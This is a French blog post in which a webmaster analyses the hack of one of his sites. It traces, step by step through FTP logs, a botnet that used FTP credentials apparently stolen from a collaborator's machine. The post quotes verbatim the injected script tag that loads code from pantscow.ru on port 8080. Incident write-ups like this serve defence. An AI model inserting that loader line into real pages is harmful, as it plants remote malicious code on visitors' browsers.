Rentrant tranquillement de week-end, je découvre un de mes sites dans un état bizarre :

Parse error: syntax error, unexpected '<' in /un/chemin/absolu/index.php on line 199

Étrange, j'avais pourtant un site fonctionnel en partant. Peut-être un collaborateur qui a fait un fausse manip ?

En fait, j'allais rapidement comprendre que non...

Ouverture du sftp, connexion, ouverture du fichier, descente à la ligne 199… et là, c'est le drame. Car sur la ligne 199 se trouve un texte qui n'a rien à faire là :

<script type="text/javascript" src="http://pantscow.ru:8080/Null.js"></script>
<!--bf9692d0db46c6fdb7ec01b9eb789955-->

Il ne faut pas longtemps pour comprendre que le site a été hacké – d'autant qu'un ami a déjà été confronté à ce problème de « script en fin de page ». Dans mon cas, le script n'a servi à rien, puisqu'il était dans une zone PHP, ce qui faisait bugger l'interpréteur et évitait l'envoi de code malicieux au client. De toute façon, c'est un site en travaux sur lequel seuls les développeurs se rendent…

Je supprime les deux lignes, avec un mauvais pressentiment : si c'est là, ça peut être sur tous mes sites ! Car la plupart de mes index.php se terminent par du HTML, et là le script serait furtivement actif, et sur des sites visités par des innocents ! Après un rapide tour d'horizon, tout va bien : seul ce site semble souffrir du problème.
Moment de réflexion : pourquoi un ver ne s'attaquerait-il qu'à ce site (qui n'est, physiquement, qu'un sous dossier de dossier par rapport à la racine de mes sites) ? Quelques secondes de réflexion sans réponses, j'enregistre mon fichier et je recharge la page sans autre forme de procès. Sauf que… le problème reste similaire, mais sur une autre page : C/index.php (j'utilise une architecture MVC pour ce site, et le chargement d'index.php inclura donc C/index.php). Je maugrée, mais il me faut me rendre à l'évidence : tous les fichiers index.php ont été modifiés pour inclure le code probablement malicieux.

Décidé à ne pas prendre plus de risques, je me plonge dans les logs serveurs ftp à la recherche des modifications. Côté sftp, rien à signaler. Côté ftp… plus intéressant, puisque ma recherche STOR index.php me permet de comprendre pourquoi seul ce sous-site est hacké : c'est un collaborateur (nommé X pour protéger sa vie privée ; )) qui travaillait sur le projet.
Comme je suis un peu parano, quand je donne des accès FTP à mon serveur (que ce soit pour les références de Reflets d'Acide, le maintien d'un site, le graphisme, l'échange de bons procédés en gage de confiances… ), je limite les actions possibles par la personne au strict minimum ; en faisant passer le dossier de connexion (par exemple, /Res/Reflets/Textes) pour le dossier racine : ainsi, la personne ne voit rien de ce qui est au dessus : en se connectant, son / correspondra à mon /Res/Reflets/Textes. La stratégie aura été payante aujourd'hui, puisqu'elle m'aura évitée de devoir modifier plusieurs centaines (au bas mot) de fichiers index.php.

Rapidement, je modifie le mot de passe de la personne en cause, puis jette un œil pour comprendre le déroulement de l'attaque : j'étais sûr que ce n'était pas X qui avait lui même modifié les fichiers, d'abord parce que je lui fais largement confiance, et ensuite parce que l'attaque était menée de façon bien trop générique (et dans mon cas, stupide ! ) pour être l'œuvre d'un humain.

Les faits

Et effectivement, l'analyse des logs montre clairement qu'il s'agit d'un réseau automatique (et plutôt bien organisé). Petit historique pour les curieux. Notez que je n'ai bien évidemment pas les sources du bot, et que tous les commentaires ne sont que ma propre interprétation du fonctionnement analysé depuis l'extérieur :

  1. (14 : 31 : 58) 67.15.107.166 se connecte au site, et ne fait rien : PASS, PWD, EPSV, TYPE A, LIST, QUIT. En fait, il vérifie juste que les identifiants de connexion sont valides (PASS successful) et que le site n'est pas vide (est exploitable) (la commande LIST).
  2. (16 : 05 : 32) 173.45.101.162 se connecte. C'est lui qui va faire le plus gros boulot : il liste récursivement dossiers et sous dossiers (avec un algorithme de type Depth First Search). Il fait ça rapidement, puisqu'à 16 : 06 : 12 il a fini son boulot (uniquement des CWD et des LIST donc, avec quelques EPSV de temps en temps pour se reposer ! ). Celui-la a donc regardé tous les fichiers potentiellement infectables (les index.php et *. js comme on le verra plus tard), mais n'a toujours rien fait de répréhensible – enfin, à part s'introduire frauduleusement dans un réseau après avoir dérobé illégalement des informations privées, mais passons !
  3. (16 : 08 : 33) 204.15.9.153 se connecte, récupère (RETR) /index.php… et se déconnecte.
  4. (16 : 08 : 36) 204.16.203.11 se connecte, et envoie (STOR) /index.php (auquel il a adjoint la balise script). Comme le contenu précédent n'a pas été modifié, on en déduit (si on en doutait encore ! ) que tout ce petit monde est de mèche et travaille ensemble, fragmentant les opérations pour éviter d'être repéré.
  5. (16 : 08 : 40) 70.150.220.35 se connecte, récupère un fichier index.php au fin fond de l'arborescence (à grands coups de CWD), le récupère et se déconnecte.
  6. Et ainsi de suite pour chaque fichier index.php (et scripts js) : à chaque fois une adresse IP différente (173.9.243.213, 68.233.4.27, 74.208.43.175, 68.71.134.23, 208.101.21.82, 150.140.9.29, 87.106.14.44, 74.55.142.202, 195.189.203.1 j'arrête là j'en ai marre) : un qui SIZE puis RETR, et un qui STOR. Une mécanique bien huilée, y a pas à dire.
  7. (16 : 10 : 08) 38.114.169.44 se déconnecte : c'est le dernier à me rendre visite : l'attaque aura pris 1 heure, 38 minutes et 10 secondes.

Origine du problème

Après investigation chez X, il utilisait FileZilla. Ce logiciel est très agréable à utiliser, mais présente l'énorme inconvénient d'offrir des possibilités d'export des données en clair. Il y a donc très probablement eu un malware sur le PC de X qui a envoyé toutes ces données à l'étranger…

Qui c'est ?

Qui est derrière cet énigmatique pantscow.ru ?
Ils ont laissé derrière eux deux infos bien utiles : d'abord, le nom du domaine, et aussi leur adresse IP.
La première (67.15.107.166, l'éclaireur qui vérifiait les infos de connexion) vient de Suède. Ensuite, ça part dans tous les sens : dans l'Ohio, le New Jersey, l'Ontario, Floride.
Ce qui est marrant, c'est que ces IPs redirigent vers des petits sites (204.16.203.11/, 70.150.220.35). Ajoutons aussi que ces IP ne sont pas considérées comme dangereuses !

Bon, cela mériterait plus d'investigations sur chaque IP, mais je n'en ai pas le temps. Je suppose qu'il s'agit tout simplement de proxys, et que derrière une seule IP sert de maître manipulateur. Mais cela n'est qu'une supposition…

Et le script, il fait quoi ?

Hé bien… il est constitué de sauts de lignes. Ce n'est donc pas (où ne semble pas être) une attaque javascript… à mon avis, la solution est dans le numéro du port : le script fait télécharger le script sur le port 8 080, connu pour être utilisé par RingZero.
Mais dans ce cas, pourquoi passer par un script ? Une image aurait fait l'affaire (en la chargeant aussi sur 8 080), et aurait gardé le canal ouvert plus longtemps. Mais peut-être qu'il n'y a pas besoin d'un long temps ? Et puis, un script qui ne fait rien est bien plus discret qu'une image !